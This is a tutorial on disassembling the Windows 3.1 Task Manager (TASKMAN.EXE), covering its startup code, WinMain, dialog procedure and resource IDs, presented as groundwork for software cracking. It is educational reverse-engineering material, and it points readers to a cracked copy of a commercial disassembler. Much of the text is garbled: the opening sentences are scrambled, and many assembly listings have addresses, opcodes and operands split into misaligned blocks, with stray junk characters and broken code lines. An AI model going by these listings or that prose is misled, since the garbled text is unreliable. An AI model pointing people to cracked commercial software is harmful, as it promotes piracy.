The older ones (that unconditionally respect) do not seem to grab it totally... they are experienced that they can use more or less the same
in approach I probably so techniques in
cracking necessarily the best solving", cracking if you read
all OSs... but in my (humble) opinion, that's not approach... you see, cracking Windows is "puzzle DOS is "playing chess"... you'll understand what I mean what follows.
Please do excuse my shortcomings both in the techniques I teach (I am an autodidact) and in the language I use. If at any time you feel you should need more references, check the Windows 3.1. SDK Programmer's Reference, Volume 1: Overview, Chapter 22, Windows Application Startup. A little knowledge of the C language is required in order to understand a part of the following (you better understand it right now: the only existing programming language is C, most applications are written in C, "real" programmers use C... you may dislike it, but that's the reality, so you better get a little knowledge of C programming as soon as you can, if you want to crack more effectively... you'll find enough C tutorials on the net). This said, most of the following can be used even if you do not know C. Disassembling Taskman As example for this introduction, I have chosen Taskman.exe, the small program you'll find inside your C:\WINDOWS directory... you can invoke it anytime typing CTRL+ESC in Windows 3.1. I have done it because Schulman has already (very well) worked on it, and therefore he spares me a lot of work, and also because I agree totally with him in his choice: Taskman it's a very good example for all newbys to Windows cracking. Actually it's a pity that you cannot (yet) find Schulman's books on the net... I believe they should be indisputably there! (Anybody with a good scanner reading this?). Let's start from the beginning... by looking at TASKMAN's startup code. Taskman is a very small win 3.1 program, but it's rich in surprises, as you'll see. After you disassembly taskman.exe with WCB (see below) and *after* you have printed the listing, you may use the "Loader" utility to pop out inside winice at the beginning of Taskman: start:
1FBF:4B9 33ED 1FBF:4BB 55 1FBF:4BC 9A8D262701 ...
XOR PUSH CALL
BP,BP ;begins BP ;save BP KERNEL!INITTASK
So we are set for snooping around "live", but first (and that's very important for Windows programs) we have to prepare a good disassembled listing of our target. You see, in DOS such a work does not make much sense, because the disassembled listing would not differ much from what you get on screen through softice, but in Windows, on the contrary, we can get quite a lot more out of all the information that is already present inside our target. The following explains this point: You can use any good disassembler (like Winsourcer, from V communication, a good version, cracked by the ubiquitous Marquis de Soiree, is available on the web) but i'll use the disassembled listing of WCB (Windows CodeBack -> download version 1.5. from my "tools" page: here). WCB is a very good Win 3.1. disassembler, created by the ungarian codemaster Leslie Pusztai (pusztail@tigris.klte.hu), and, in my modest opinion, it's far better than sourcer. If you use it, remember that it works from DOS: the main rule is to create first of all the *.EXL files for the necessary "mysterious" *.dll with the command: wcb -x [mysterious.dll]and you'll be able, afterwards, to disassemble the *.exe that called them. But all this is not necessary for humble Taskman.exe, where we get following header information: Filename: TASKMAN.EXE Type: Segmented executable Module description: Windows Task Manager 3.1 Module name: TASKMAN Imported modules: Filename: Type: Module description: Module name:
TASKMAN.EXE Segmented executable Windows Task Manager 3.1 TASKMAN
Imported modules: 1: KERNEL 2: USER Exported names by location: 1:007B 1 TASKMANDLGPROC
Program entry point: WinMain:
1:04B9 1:03AE
and we can get straight the entry point code: 1.04B9 ; Program_entry_point 1.04B9 >33ED xor bp, bp 1.04BB 55 push bp 1.04BC 9AFFFF0000 call KERNEL.INITTASK 1.04C1 0BC0 or ax, ax 1.04C3 744E je 0513 1.04C5 81C10001 add cx, 0100 1.04C9 7248 jb 0513 1.04CB 890E3000 mov [0030], cx 1.04CF 89363200 mov [0032], si 1.04D3 893E3400 mov [0034], di 1.04D7 891E3600 mov [0036], bx 1.04DB 8C063800 mov [0038], es 1.04DF 89163A00 mov [003A], dx 1.04E3 33C0 xor ax, ax 1.04E5 50 push ax 1.04E6 9AFFFF0000 call KERNEL.WAITEVENT 1.04EB FF363400 push word ptr [0034] 1.04EF 9AFFFF0000 call USER.INITAPP 1.04F4 0BC0 or ax, ax 1.04F6 741B je 0513 1.04F8 FF363400 push word ptr [0034] 1.04FC FF363200 push word ptr [0032] 1.0500 FF363800 push word ptr [0038] 1.0504 FF363600 push word ptr [0036] 1.0508 FF363A00 push word ptr [003A] 1.050C E89FFE call WinMain 1.050F 50 push ax 1.0510 E890FF call 04A3 This is similar to the standard startup code that you'll find in nearly *every* Windows program. It calls three functions: InitTask(), WaitEvent(), and InitApp(). We know jolly well about InitTask(), but let's imagine that we would have here a more mysterious routine than these, and that we would like to know what for items are hold in the CX, SI etc. register on return from InitTask() without disassembling everything everywhere... how should we proceed? First of all let's see if the locations [0030] - [003A] are used elsewhere in our program... this is typical when you work with disassembled listings: to find out what one block of code means, you need most of the time to look first at some other block of code. Let's see.. well, yes! Most of the locations are used again a few lines down (1.04F8 to 1.0508).
Five words are being pushed on the stack as parameters to WinMain(). If only we knew what those enigmatic parameter were... but wait: we do actually know what those parameters are! WinMain(), the function being called from this code, always looks like: int
PASCAL WinMain(WORD hInstance, WORD hPrevInstance, LPSTR lpCmdLine, int nCmdShow);
And we (should) know that in the Pascal calling convention, which is used extensively in Windows because it produces smaller code than the cdecl calling convention, arguments are pushed on the stack in the same order as they appear inside the function declaration. That's a good news for all little crackers! Thus, in our example, [0034] must be hInstance, [0032] must be hPrevinstance, [0038]:[0036] are segment and offset of lpcmdline and [003A] must be nCmdshow. What makes this important is that we can now go and replace *every* occurrence of [0034] by a more useful name such as hInstance, every occurrence of [0032] by hPrevInstance and so on. This clarify not just this section of the listing, but every section of the listing that refers to these variables. Such global substitutions of useful names for placeholder names or addresses is indispensable when working with a disassembled listing. After applying these changes to the fragment shown earlier, we end up with something more understandable: 1.04CB 1.04CF 1.04D3 1.04D7 1.04DB 1.04DF 1.04E3
890E3000 89363200 893E3400 891E3600 8C063800 89163A00 33C0
mov mov mov mov mov mov xor
[0030], cx hPrevInstance, si hInstance, di lpCmdLine+2, bx lpCmdLine, es nCmdShow, dx ax, ax
1.04E5 1.04E6 1.04EB 1.04EF 1.04F4 1.04F6 1.04F8 1.04FC
50 9AFFFF0000 FF363400 9AFFFF0000 0BC0 741B FF363400 FF363200
push call push call or je push push
ax KERNEL.WAITEVENT word ptr hInstance USER.INITAPP ax, ax 0513 word ptr hInstance word ptr hPrevInstance
1.0500 1.0504 1.0508 1.050C
FF363800 FF363600 FF363A00 E89FFE
push push push call
word ptr lpCmdLine word ptr lpCmdLine+2 word ptr nCmdShow WinMain
Thus if we didn't already know what InitTask() returns in various register (our Taskman here is only an example for your later work on much more mysterious target programs), we could find it out right now, by working backwards from the parameters to WinMain(). Windows disassembling (and cracking) is like puzzle solving: the more little pieces fall into place, the more you get the global picture. Trying to disassemble Windows programs without this aid would be unhealthy: you would soon delve inside *hundreds* of irrelevant calls, only because you did not do your disassemble homework in the first place. It was useful to look at the startup code because it illustrated the general principle of trying to substitute useful names such as hPrevInstance for useless labels such as [0034]. But, generally, the first place we'll look examining a Windows program is WinMain(). Here the code from WCB: 1.03AE 1.03AE >55 1.03AF 8BEC 1.03B1 83EC12 1.03B4 57 1.03B5 56 1.03B6 2BFF 1.03B8 397E0A 1.03BB 7405 1.03BD 2BC0 1.03BF E9CC00
; WinMain push bp mov bp, sp sub sp, 0012 push di push si sub di, di cmp [bp+0A], di je 03C2 sub ax, ax jmp 048E
1.03C2 >C47606 1.03C5 26803C00 1.03C9 7453 1.03CB 897EF2 1.03CE EB1E
les cmp je mov jmp
si, [bp+06] byte ptr es:[si], 00 041E [bp-0E], di 03EE
1.03D0 >26803C20 1.03D4 741E 1.03D6 B80A00 1.03D9 F72E1000 1.03DD A31000 1.03E0 8BDE 1.03E2 46 1.03E3 268A07 1.03E6 98
cmp je mov imul mov mov inc mov cbw
byte ptr es:[si], 20 03F4 ax, 000A word ptr [0010] [0010], ax bx, si si al, byte ptr es:[bx]
1.03E7 1.03EA
2D3000 01061000
sub add
ax, 0030 [0010], ax
1.03EE >26803C00 1.03F2 75DC
cmp jne
byte ptr es:[si], 00 03D0
1.03F4 >26803C00 1.03F8 741B 1.03FA 46 1.03FB EB18
cmp je inc jmp
byte ptr es:[si], 00 0415 si 0415
1.03FD >B80A00 1.0400 F72E1200 1.0404 A31200 1.0407 8BDE 1.0409 46 1.040A 268A07 1.040D 98 1.040E 2D3000 1.0411 01061200
mov imul mov mov inc mov cbw sub add
ax, 000A word ptr [0012] [0012], ax bx, si si al, byte ptr es:[bx]
1.0415 >26803C00 1.0419 75E2 1.041B 8B7EF2
cmp jne mov
byte ptr es:[si], 00 03FD di, [bp-0E]
1.041E >6A29
push
0029
1.0420 1.0425 1.0426 1.0427 1.042A 1.042F 1.0432 1.0435 1.0437 1.0439 1.043B 1.043D
9AF9000000 50 1E 681600 9AFFFF0000 8946F4 8956F6 0BD0 7407 6A01 6A01 FF5EF4
call push push push call mov mov or je push push call
USER.GETSYSTEMMETRICS ax ds 0016 KERNEL.GETPROCADDRESS [bp-0C], ax [bp-0A], dx dx, ax 0440 0001 0001 far ptr [bp-0C]
1.0440 >68FFFF 1.0443 687B00 1.0446 FF760C 1.0449 9AFFFF0000 1.044E 8BF0 1.0450 8956FA 1.0453 0BD0 1.0455 7426 1.0457 FF760C 1.045A 6A00 1.045C 6A0A 1.045E 6A00 1.0460 8B46FA 1.0463 50 1.0464 56 1.0465 8976EE 1.0468 8946F0
push push push call mov mov or je push push push push mov push push mov mov
selector 1:0000 007B word ptr [bp+0C] KERNEL.MAKEPROCINSTANCE si, ax [bp-06], dx dx, ax 047D word ptr [bp+0C] 0000 000A 0000 ax, [bp-06] ax si [bp-12], si [bp-10], ax
ax, 0030 [0012], ax
1.046B 1.0470 1.0472 1.0475 1.0478
9AFFFF0000 8BF8 FF76F0 FF76EE 9AFFFF0000
call mov push push call
USER.DIALOGBOX di, ax word ptr [bp-10] word ptr [bp-12] KERNEL.FREEPROCINSTANCE
1.047D >8B46F6 1.0480 0B46F4 1.0483 7407 1.0485 6A01 1.0487 6A00 1.0489 FF5EF4
mov or je push push call
ax, [bp-0A] ax, [bp-0C] 048C 0001 0000 far ptr [bp-0C]
1.048C >8BC7
mov
ax, di
1.048E >5E 1.048F 5F 1.0490 8BE5 1.0492 5D 1.0493 C20A00
pop pop mov pop ret
si di sp, bp bp 000A
Let's begin from the last line: ret 000A. In the Pascal calling convention, the callee is responsible for clearing its arguments off the stack; this explains the RET A return. In this particular case, WinMain() is being invoked with a NEAR call. As we saw in the startup code, with the Pascal calling convention, arguments are pushed in "forward" order. Thus, from the prospective of the called function, the last argument always has the *lowest* positive offset from BP (BP+6 in a FAR call and BP+4 in a NEAR call, assuming the standard PUSH BP -> MOV BP,SP function prologue, like at the beginning of this WinMain(). Now write the following in your cracking notes (the ones you really keep on your desk when you work... close to your cocktail glass): function parameters have *positive* offsets from BP, local variables have *negative* offsets from BP. What does all this mean... I hear some among you screaming... well, in the case of WinMain(), and in a small-model program like Taskman, which starts from BP+4, you'll have: int
PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance, LPSTR lpCmdLine, int nCmdShow); nCmdShow = word ptr [bp+4] lpCmdLine = dword ptr [bp+6] hPrevInstance = word ptr [bp+0Ah] hInstance = word ptr [bp+0Ch] Yeah... let's rewrite it:
1.03B6 1.03B8 1.03BB 1.03BD 1.03BF
2BFF 397E0A 7405 2BC0 E9CC00
1.03C2 >C47606 1.03C5 26803C00
sub cmp je sub jmp
di, di hPrevInstance, di 03C2 ax, ax 048E
les cmp
si, dword ptr lpCmdLine byte ptr es:[si], 00
We can now see, for example, that WinMain() checks if hPrevInstance is zero (sub di,di); if it isn't, it immediately jump to the pops and exits (jmp 048E). Look at the code of WinMain() once more... notice that our good Taskman appears to be inspecting its command line... funny: the Windows documentation says nothing about command line arguments to Taskman... Look around location 1.03D0 above, you'll see that Taskman appears to be looking for a space (20h), getting a character from the command line, multiplying it by 10 (0Ah), subtracting the character zero (30h) and doing other things that seem to indicate that it's looking for one or more *numbers*. The code line 1.03E7 SUB ax,30h it's a typical code line inside many routines checking for numbers. The hex ascii code for numbers is 30 for 0 to 39 for 9, therefore the transmutation of an ascii code in hex *number* is pretty easy: mov al, your_number and sub ax,30... you'll find it very often. Rather than delve further into the code, it next makes sense to *run* taskman, feeding it different numbers on the command line, and seeing what it does (it's surprising how few crackers think of actually going in and *running* a program before spending much time looking at its code). Normally Taskman runs when you type CTRL+ESC in Windows, but its just a regular program, that can be run with a command line, like any other program. Indeed, running "TASKMAN 1" behaves differently from just running "TASKMAN": it positions the Task List in the upper-left corner of the screen, instead of in the middle. "TASKMAN 666 666" (the number of the beast?) seems to position it in the lower right corner.
Basically, the command line numeric arguments seem to represent an (x,y) position for our target, to override its default position in the middle of the screen. So you see, there are hidden 'goodies' and hidden 'secrets' even behind really trivial little programs like Taskman (and believe me: being able to identify this command line checking will be very useful ;-) when you'll crack applications and/or games that *always* have backdoors and hidden goodies). Back to the code (sip your favourite cocktail during your scrutinies... may I suggest a Traitor? -> see the legendary FraVia's cocktail page here) you can see that the variables [0010] and [0012] are being manipulated. What are these for? The answer is *not* to stare good and hard at this code until it makes sense, but to leave this area and see how the variables are used elsewhere in the program... maybe the code elsewhere will be easier to understand (for bigger applications you could in this case use a Winice breakpoint on memory range, but we'll remain with our WCB disassembly listing). In fact, if we search for data [0010] and [0012] we find them used as arguments to a Windows API function: 1.018B >A31200 1.018E FF760E 1.0191 FF361000 1.0195 50 1.0196 56 1.0197 57 1.0198 6A00 1.019A 9AFFFF0000
mov push push push push push push call
[0012], ax word ptr [bp+0E] word ptr [0010] ax si di 0000 USER.MOVEWINDOW
This shows us *immediately* what [0010] and [0012] are. MoveWindows() is a documented function, whose prototype is: void FAR PASCAL MoveWindow(HWND hwnd, int nLeft, int nTop, int nWidth, int nHeight, BOOL fRepaint); 1.018B >A31200 1.018E FF760E 1.0191 FF361000 1.0195 50 1.0196 56 1.0197 57 1.0198 6A00
mov push push push push push push
[0012], ax word ptr [bp+0E] word ptr [0010] ax si di 0000
;hwnd ;nLeft ;nTop ;nWidth ;nHeight ;fRepaint
1.019A
9AFFFF0000
call
USER.MOVEWINDOW
In other words, [0010] has to be nLeft and [0012] (whose contents have been set from AX) has to be nTop. Now you'll do another global "search and replace" on your WCB disassembly, changing every [0010] in the program (not just the one here) to nLeft, and every [0012] to nTop. A lot of Windows cracking is this easy: all Windows programs seem to do is call API functions, most of these functions are documented and you can use the documentation to label all arguments to the function. You then transfer these labels upward to other, possibly quite distant parts of the program. In the case of nLeft [0010] and nTop [0012], suddenly the code in WinMain() makes much more sense: 1.03C2 >C47606 1.03C5 26803C00 1.03C9 7453 1.03CB 897EF2 1.03CE EB1E
les cmp je mov jmp
si, dword ptr lpCmdLine byte ptr es:[si], 00 ; no cmd line? 041E ; go elsewhere [bp-0E], di 03EE
1.03D0 >26803C20 1.03D4 741E
cmp je
byte ptr es:[si], 20 ; if space 03F4 ; go elsewhere
B80A00 F72E1000 A31000 8BDE 46 268A07 98 2D3000
mov imul mov mov inc mov cbw sub
ax, 000A nLeft nLeft, ax bx, si si al, es:[bx] ax, 0030
; ax = char ; ax='0' (char-
01061000
add
nLeft, ax
; nleft +=
1.03EE >26803C00 NotEndOfString 1.03F2 75DC ...
cmp
byte ptr es:[si], 00 ;
jne
03D0
1.03D6 1.03D9 1.03DD 1.03E0 1.03E2 1.03E3 1.03E6 1.03E7 > number) 1.03EA number
; nleft *= 10
; next char
In essence, Taskman is performing the following operation here: static int nLeft, nTop; //... if (*lpCmdLine !=0) sscanf(lpCmdLine, "%u %u, &nLeft, &nTop);
Should you want 3.1. Taskman to appear in the upper left of your screen, you could place the following line in the [boot] section of SYSTEM.INI: taskman.exe=taskman.exe 1 1 In addition, doubleclicking anywhere on the Windows desktop will bring up Taskman with the (x,y) coordinates for the double click passed to Taskman on its command line. The USER!WM_SYSCOMMAND handler is responsible for invoking Taskman, via WinExec() whenever you press CTRL+ESC or double click the desktop. What else is going on in WinMain()? Let's look at the following block of code: 1.041E >6A29 1.0420 9AF9000000 1.0425 50 1.0426 1E 1.0427 681600 1.042A 9AFFFF0000 1.042F 8946F4 1.0432 8956F6 1.0435 0BD0 1.0437 7407 1.0439 6A01 1.043B 6A01 1.043D FF5EF4
push call push push push call mov mov or je push push call
0029 USER.GETSYSTEMMETRICS ax ds 0016 KERNEL.GETPROCADDRESS [bp-0C], ax [bp-0A], dx dx, ax 0440 0001 0001 far ptr [bp-0C] ; *1 entry
The lines push 29h & CALL GETSYSTEMMETRICS are simply the assembly language form of GetSystemMetrics(0x29). 0x29 turns out to be SM_PENWINDOWS (look in WINDOWS.H for SM_). Thus, we now have GetSystemMetrics(SM_PENWINDOWS). If we read the documentation, it says that this returns a handle to the Pen Windows DLL if Pen Windows is installed. Remember that 16-bit return values *always* appear in the AX register. Next we can see that AX, which must be either 0 or a Pen Window module handle, is pushed on the stack, along with ds:16h. Let's immediately look at the data segment, offset 16h: 2.0010 2.0018 2.0020
0000000000005265 6769737465725065 6E41707000000000
db db db
00,00,00,00,00,00,52,65 ; ......Re 67,69,73,74,65,72,50,65 ; gisterPe 6E,41,70,70,00,00,00,00 ; nApp....
Therefore: 2.0016
db 'RegisterPenApp',0
Thus, here is what we have so far: GetProcAddress( GetSystemMetrics(SM_PENWINDOWS), "RegisterPenApp") GetProcAddress() returns a 4 bytes far function pointer (or NULL) in DX:AX. In the code from WinMain() we can see this being moved into the DWORD at [bp+0Ch] (this is 16-bit code, so moving a 32-bit value requires two operations). It would be nice to know what the DWORD at [bp-0Ch] is. But, hey! We *do* know it already: it's a copy of the return value from GetProcAddress(GetSystemMetrics(SM_PENWINDOWS), "RegisterPenApp)! In other words, is a far pointer to the RegisterPenApp() function, or NULL if Pen Windows is not installed. We can now replace all references to [bp-0Ch] with references to something like fpRegisterPenApp. Remember another advantage of this "dead" Windows disassembling vis-a-vis of the Winice approach "on live": here you can choose, picking *meaningful* references for your search and replace operations, like "mingling_bastard_value" or "hidden_and_forbidden_door". The final disassembled code may become a work of art and inspiration if the cracker is good! (My disassemblies are beautiful works of poetry and irony). Besides, *written* investigations will remain documented for your next cracking session, whereby with winice, if you do not write everything down immediately, you loose lots of your past work (it's incredible how much place and importance retains paper in our informatic lives). After our search and replaces, this is what we get for this last block of code: FARPROC fpRegisterPenAPP; fpRegisterPenApp = GetProcAddress( GetSystemMetrics(SM_PENWINDOWS), "RegisterPenApp"); Next we see [or dx, ax] being used to test the GetProcAddress() return value for NULL. If non-NULL, the code twice pushes 1 on the stack (note the PUSH IMMEDIATE here... Windows applications only run on
80386 or higher processors... there is no need to place the value in a register first and then push that register) and then calls through the fpRegisterPenApp function pointer: 1.0435 0BD0 or dx, ax 1.0437 7407 je 0440 1.0439 6A01 push 0001 1.043B 6A01 push 0001 1.043D FF5EF4 call dword ptr fpRegisterPenApp 1.0435 1.0437 1.0439 1.043B 1.043D
0BD0 7407 6A01 6A01 FF5EF4
or je push push call
dx, ax 0440 0001 0001 dword ptr fpRegisterPenApp
Let's have a look at the Pen Windows SDK doucmentation (and PENWIN.H): #define RPA_DEFAULT void FAR PASCAL RegisterPenApp(UINT wFlags, BOOL fRegister); We can continue in this way with all of WinMain(). When we are done, the 100 lines of assembly language for WinMain() boild own to the following 35 lines of C code: // nLeft, nTop used in calls to MoveWindow() in TaskManDlgProc() static WORD nLeft=0, nTop=0; BOOL FAR PASCAL TaskManDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam); int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { void (FAR PASCAL *RegisterPenApp) (UINT,BOOL); FARPROC fpDlgProc; if (hPrevhInstance != 0) return 0; if (*lpCmdLine !=0 ) _fsscanf(lpCmdLine, "%u %u, &nLeft, &nTop); // pseudocode RegisterPenApp = GetProcAddress(GetSystemMetrics(SM_PENWINDOWS), "RegisterPenApp"); if (RegisterPenApp != 0) (*RegisterPenApp) (RPA_DEFAULT, TRUE); if (fpDlgProc = MakeProchInstance(TaskManDlgProc, hInstance)) { DialogBox(hInstance, MAKEINTRESOURCE(10), 0, fpDlgProc); FreeProcHInstance(fpDlgProc); } if (RegisterPenApp != 0) (*RegisterPenApp) (RPA_DEFAULT, FALSE); return 0; } In this lesson we had a look at WinMain()... pretty interesting, isn't
it? We are not done with TASKMAN yet, though... we'll see in the next lesson wich windows and dialog procedures TASKMAN calls. (-> lesson 2)
FraVia
How To Disassemble A Windows Program After we've found and analyzed WinMain() (-> lesson 1), the next places to inspect when you crack a program are the windows procedures and dialog procedures (this is true only for Windows *programs*; for DLL, on the countrary, the cracking procedures are different and the relvant techniques will be discussed in another lesson). These WndProcs and DialogProcs are "callback" procedures: they are *exported* from Windows executables, almost as the program were a DLL, so that Windows can call them. And -hear, hear!- beacuse they are exported these crucial procedures have *names* (almost always useful) that are accessible to any decent Windows disassembler. In Taskman.lst, for example, WCB clearly identifies TASKMANDLGPROC: Exported names by location: 1:007B 1 TASKMANDLGPROC
<- It's a DialogProc !
It works out well that the WndProcs and DialogProcs show up so nicely in the disassembled listings, because, as we know from Windows programming, these subroutines are "where the action is" in event driven Windows applications... or at least where the action begins. Furthermore we know that these subroutines will be most likely little more than (possibly very large) message handling switch/case statements. These usually look something like this: long FAR PASCAL _export WndProc(HWND hWnd, WORD message, WORD wParam, LONG lPAram) long FAR PASCAL _export WndProc(HWND hWQG:2 wParam, LONG lPAram) { ... switch (message) {
?;Ă”HVVDJH:25'
case WM_CREATE: //... handle WM_CREATE message break; case WM_COMMAND: //... handle WM_COMMAND message break; default: return DefWindowProc(hwnd, message, wParam, lParam); } } Wow! Yes! As you already guessed this means that... that we get immediately 4 parameters for EACH exported WndProc or DlgProc! Actually there's no rule that states that a Windows WndProc or DlgProc has to look like this... it's just that they almost always do! Here is how the parameters to the WndProc or DialogProc will appear in the assembly language listing (after the function prologue): long FAR PASCAL _export WndOrDialogProc(HWND hwnd, WORD message, WORD wParam, LONG lParam); lParam wParam message hWnd or hWndDlg
= = = =
dword ptr [bp+6] word ptr [bp+0Ah] word ptr [bp+0Ch] word ptr [bp+0Eh]
With this knowledge, we can replace an otherwise meaningless [bp+0Ch] with a label such as "message", a [bp+0Eh] with a "hwnd" or "hwndDlg", and so on in *ANY* DialogProc and WndProc in *ANY* Windows program. The boilerplate nature of Windows programming greatly simplifies cracking. For example, here is part of our Taskman exported: The problem here, of course, is what to make of all these magic numbers: 0064, OO1C, 00F4 and so on... how are we going to figure out what these mean? DialogProc: TASKMANDLGPROC: 1.007B ... (function prologue) 1.008A 8B760E 1.008D 56 1.008E 6A64
mov push push
si, hWndDlg si 0064
1.0090 1.0095 1.0097
call mov mov
USER.GETDLGITEM di, ax ax, message
9AFFFF0000 8BF8 8B460C
;
TASKMANDLGPROC ;[bp+0E]
;[bp+0C]
1.009A 1.009D 1.009F 1.00A2 1.00A4 1.00A5 1.00A7
2D1C00 7416 2DF400 7436 48 7503 E98301
sub je sub je dec jne jmp
ax, 001C 00B5 ax, 00F4 00DA ax 00AA 022D
1.00AA >2D5303 1.00AD 7503 1.00AF E9D602
sub jne jmp
ax, 0353 00B2 0388
1.00B2 >E9C801
jmp
027D
1.00B5 >837E0A00 1.00B9 7403 1.00BB E9BF01 ...
cmp je jmp
word ptr wParam, 0 00BE 027D
;[bp+0A]
When examined via disassembled listings, Windows programs tend to contain a lot of "magic numbers". Of course the actual source code would be : * *
#include '<'windows.h'>' and #define numeric constants for the various resources (menus, strings, dialog controls, etc.) that it uses.
Given a disassembled listing, it should be possible to turn a lot of these seemingly senseless numbers back into something understandable. Let's start with the number 001C in TaskManDlgProc(): 1.0097 1.009A 1.009D
8B460C 2D1C00 7416
mov sub je
ax, message ax, 001C 00B5
If AX holds the *message* parameter 1.0097)... then the value 001C must number (one of those you can breakpoint to the way). Looking in WINDOWS.H, we find
;[bp+0C]
to TaskManDlgProc() (line be a Windows WM_ message with WINICE's BMSG command, by that 0x1C is WM_ACTIVATEAPP.
TaskManDlgProc() is subtracting this value from AX and then jumping somewhere (let's call it ON_ACTIVATEAPP) if the result is zero... i.e. if it is WM_ACTIVATEAPP. This is an odd way to test whether (message == WM_ACTIVATEAPP): if the test fails, and we do not take the jump to ON_ACTIVATEAPP, the message number has 1C subtracted from it... and this value must be taken account of by the next switch statement:
1.009F 1.00A2 1.00A4 1.00A5 1.00A7
2DF400 7436 48 7503 E98301
sub je dec jne jmp
ax, 00F4 00DA ax 00AA 022D
; ; ; ; ;
(+1C=110=WM_INITDIALOG) jump to ON_INITDIALOG (110+1=111=WM_COMMAND) no, go elsewhere yes, jump to ON_COMMAND
Other WndProcs & DialogProcs will contain straightforward tests, rather than testing via subtraction... is a matter of compiler choice. In any case, a WndProc or DialogProc generally contains a collection of handlers for different messages. In the case of TaskManDlgProc(), we can see that's handling WM_ACTIVATEAPP, WM_INITDIALOG and WM_COMMAND. By itself, this information is rather boring... however, it tells us what is happening *elsewhere* in the function: 1.00B5 must be handling WM_ACTIVATEAPP messages (therefore let's call it ON_ACTIVATEAPP), 1.00DA must be handling WM_INITDIALOG, and 1.022D must be handling WM_COMMAND messages. Write it down! This same basic technique -find where the [bp+0Ch] "message" parameter to the WndProc or DialogProc is being rested, and from that identify the locations that handle various messages- can be used in *ANY* Windows program. Because handling messages is mostly what Windows applications do, once we know where the message handling is, we pretty much can have our way with the disassembled listing. Let's look now at TaskManDlgProc(): TASKMANDLGPROC proc ... DISPATCH_ON_MSG: 1.0097 8B460C 1.009A 2D1C00 1.009D 7416 1.009F 2DF400 1.00A2 7436 1.00A4 48 1.00A5 7503 1.00A7 E98301 DEFAULT: 1.00AA >2D5303 1.00AD 7503 1.00AF E9D602 ON_PRIVATEMSG: 1.00B2 >E9C801 ON_ACTIVATEAPP:
far
mov sub je sub je dec jne jmp
ax, message ;[bp+0C] ax, WM_ACTIVATEAPP ;001C ON_ACTIVATEAPP ax, 00F4 ; (+1C=110=WM_INITDIALOG) ON_INITDIALOG ax ;(110+1=111=WM_COMMAND) DEFAULT ON_COMMAND
sub ax, 0353 ;(111+353=464=WM_USER+64 jne ON_PRIVATEMSG ;00B2= some private msg jmp 0388 jmp
027D
1.00B5 >837E0A00 ... ON_INITDIALOG: ... ON_COMMAND: ... 1.022D >8B460A 1.0230 3D6800 1.0233 7503 1.0235 E93301 ...
cmp word ptr wParam, 0 ;[bp+0A] ; code to handle WM_ACTIVATEAPP ; code to handle WM_INITDIALOG ; code to mov cmp jne jmp
handle WM_COMMAND ax, wParam ;[bp+0A] ax, 0068 ; ? What's this ? 0238 036B
This is starting to look pretty reasonable. In particular, once we know where WM_COMMAND is being handled, we are well on the way to understand what the application does. WM_COMMAND is *very* important for understanding an application behavior because the handler for WM_COMMAND is where it deals with user commands such as Menu selections and dialog push button clicks... a lot of what makes an application unique. If you click on "Cascade" in Task manager, for instance, it comes as a WM_COMMAND, the same occurs if you click on "Tile" or "Switch To" or "End Task". An application can tell which command a user has given it by looking in the wParam parameter to the WM_COMMAND message. This is what we started to see at the ned of the TaskManDlgProc() exerpt: ; We are handling WM_COMMAND, therefore wParam is here idItem, ; i.e. a control or menu item identifier 1.022D >8B460A mov ax, wParam ;[bp+0A] 1.0230 3D6800 cmp ax, 0068 ;ID number for a dialog control 1.0233 7503 jne 0238 1.0235 E93301 jmp 036B 1.0238 >7603 1.023A E96001
jbe jmp
023D 039D
1.023D >FEC8 1.023F 7420 1.0241 FEC8 1.0243 7503 1.0245 E94701
dec je dec jne jmp
al 0261 al 0248 038F
;1 ;if wParam==1 goto 1.0261 ;1+1=2
1.0248 >2C62 1.024A 742A 1.024C FEC8 1.024E 7432 1.0250 2C01 1.0252 7303
sub je dec je sub jnb
al, 62 0276 al 0282 al, 01 0257
;2+62=64
;if wParam==2 goto 1.038F
;64+1=65 ;65+1=66
1.0254
E94601
jmp
039D
1.0257 >2C01 1.0259 7703 1.025B E9D200
sub ja jmp
al, 01 025E 0330
;66+1=67
It's clear that wParam is being compared (in an odd subtraction way) to valus 1,2,65,66 and 67. What's going on? The values 1 and 2 are standard dialog button IDs: #define IDOK #define IDCANCEL
1 2
Therefore we have here the two "classical" push buttons: 1.023D >FEC8 1.023F 7420 1.0241 FEC8 1.0243 7503 1.0245 E94701
dec je dec jne jmp
al ON_OK al NOPE ON_CANCEL
; ; ; ; ;
1 = OK If 1 goto 1.0261= ON_OK 1+1=2= CANCEL goto neither OK nor CANCEL if 2 goto 1.038F= ON_CANCEL
The numbers 65, 66 etc are specific to TaskManager however, we will not find them inside WINDOWS.H... so there is no home to find the names of the commands to which these magic number correspond, unless we happen to have a debug version of the program true? NO! FALSE! One of the notable things about Windows is that remarkably little information is lost or thrown away compiling the source code. These magic numbers seem to correspond in some way to the different Task Manager push buttons... it's pretty obvious that there must be a way of having applications tell Windows what wParam they want sent when one of their buttons is clicked or when one of their menu items is selected. Applications almost always provide Windows with this information in their resources (they could actually define menus and controls dynamycally, on the fly, but few applications take advantage of this). These resources are part of the NE executable and are available for our merry snooping around. This inspections of the resources in an EXE file is carried out by means of special utilities, like RESDUMP, included with Windows source (-> in my tool page). For example (I am using "-verbose" mode): DIALOG 22,160,107]
10
(0Ah), "Task List"
[ 30,
FONT "Helv" LISTBOX
100
(64h), ""
[
3,
3,154,
DEFPUSHBUTTON
1
(01h), "&Switch To"
[
1, 70, 45,
PUSHBUTTON
101
(65h), "&End Task"
[ 52, 70, 45,
PUSHBUTTON
2
(02h), "Cancel"
[103, 70, 55,
STATIC
99
(63h), ""
[
0, 87,160,
PUSHBUTTON
102
(66h), "&Cascade"
[
1, 90, 45,
PUSHBUTTON
103
(67h), "&Tile"
[ 52, 90, 45,
PUSHBUTTON
104
(68h), "&Arrange Icons"
[103, 90, 55,
63] 14] 14] 14] 1] 14] 14] 14] YEAH! It's now apparent what the numbers 64h, 65h etc. mean. Imagine you would write Taskmanager yourself... you would write something on these lines: #define #define #define #define #define #define
IDD_SWITCHTO IDD_TASKLIST IDD_ENDTASK IDD_CASCADE IDD_TILE IDD_ARRANGEICONS
IDOK 0x64 0x65 0x66 0x67 0x68
